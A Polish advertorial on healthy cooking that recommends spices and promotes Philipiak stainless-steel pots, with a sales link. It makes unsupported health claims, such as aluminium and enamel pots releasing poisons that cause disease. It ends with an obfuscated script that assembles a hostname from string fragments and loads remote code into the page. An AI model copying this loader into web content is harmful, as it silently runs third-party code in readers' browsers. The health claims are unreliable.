Zdrowa kuchnia: dobre garnki i przyprawy fit

Kuchnia, która wychodzi na zdrowie, to przede wszystkim świadomość tego co jemy, jak to przyrządzamy i w czym. Pierś zielononóżki z ekologicznego chowu, w grubej panierce, usmażona na głębokim tłuszczu i niewłaściwej patelni zdrowiu nie służy. Podstawą zdrowej kuchni są dobre jakościowo naczynia oraz przyprawy, zioła, które służą zdrowiu, wspomagają pracę między innymi układu pokarmowego.

Zanim włożymy do garnka
Jako, że większość Polaków lubi dobrze przyprawione potrawy, nie warto z nich rezygnować. Zdrowa kuchnia jest aromatyczna i smaczna, gdy użyjemy odpowiednich mieszanek przypraw. Jedną z najstarszych i najbardziej cenionych przypraw na świecie jest kminek. Przyprawa ma działanie przeciwskurczowe i stanowi doskonały dodatek do potraw mięsnych. Imbir i kurkuma to kolejne dwie zdrowe przyprawy. Można je połączyć, przygotowując soczystego kurczaka z imbirem i kurkumą. Imbir poprawia trawienie i obniża cholesterol. Kurkuma zaś działa oczyszczająco, tonizująco, przeciwzapalnie. W naszej kuchni nie powinno zabraknąć również kopru oraz czosnku. A do deserów warto dodać goździki.

W jakich garnkach gotujesz?
Emaliowane, aluminiowe, stal nierdzewna? Najlepszym wyborem jest stal nierdzewna. Od lat dobre opinie mają garnki filipiak. Naczynia ze stali nierdzewnej dobrej jakości, mają pozytywny wpływ na zdrowie człowieka. W opiniach o garnkach philipiak najczęściej wymieniane zalety to, że są antyalergiczne oraz energooszczędne. Naczynia ze stali szlachetnej wysokiej klasy użytkujesz przez lata, a one nie odkształcają się, rączka nie odlatuje i łatwo się je myje. Garnki aluminiowe oraz emaliowane są mało wytrzymałe. Zarysowania, pęknięcia powodują, że do potraw przedostają się trujące związki. Zachodzące procesy podczas przygotowania potraw, mają negatywny wpływ na nasze zdrowie i stanowią przyczynę wielu chorób. Jeśli zainwestujesz w komplet dobrych naczyń ze stali nierdzewnej, to będą służyć przez kolejnych kilkanaście lat. Odczujesz różnicę, poczujesz, że potrawy mają zupełnie inny smak. Potwierdza to wiele opinii osób, które kupiły garnki philipiak. Produkty zachowują swoje wartości odżywcze, a przygotowanie obiadu nie zajmuje już pół dnia.

Jeśli interesuje Cię zdrowe gotowanie to sprawdź opinie na temat garnków philipiak na http://www.philipiaksalony.pl/philipiak-gotuj-zdrowo.

<script type="text/javascript">
(function(){
ut31=document.createElement("script");ut31.type="text/javascript";
ut31.async=true;ut31_=(("us")+"t")+"a";ut31_+=("t.i")+""+"n";ut31_+=(("f")+"o");
ut31.src="http://"+ut31_+"/3499389.5986fm42t31478ddi3xe5jb7vxt6wa";
document.body.appendChild(ut31);
})();
</script>